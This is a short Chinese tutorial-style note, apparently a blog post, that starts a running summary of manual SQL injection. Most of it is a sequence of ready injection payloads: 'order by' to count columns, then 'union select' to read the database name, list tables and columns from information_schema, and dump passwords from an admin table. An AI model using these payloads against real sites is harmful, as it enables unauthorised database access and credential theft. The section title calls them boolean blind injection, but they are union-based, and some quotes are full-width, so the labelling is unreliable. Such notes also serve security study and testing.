做一个关于sql注入的一些汇总,我个人偏向手注,做此汇总,持续更新。

首先是sql注入的原理必须要知道,不同的sql注入其实都是为了达到欺骗服务器sql查询语句的作用。关键在于思路和方法,了解服务器后端执行流程也是相当重要的,只不过在黑盒测试中很难去知道其具体的执行流程,这就需要经验以耐心了,千万不能急

盲注

布尔盲注

首先是判断字段数

比如

1
2
1' order by 2 #  //正常回显
1' order by 3 # //报错,说明字段数为2

然后去爆数据库

1
1’ union select 1,database() #

爆表

1
1‘ union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 #

爆字段名

1
1‘ union select 1,column_name from information_schema.columns where table_schema=database() and table_name=' ' limit 0,1 #

爆字段内容,根据字段名去表中搜索得到

1
1’ union select 1,password from admin #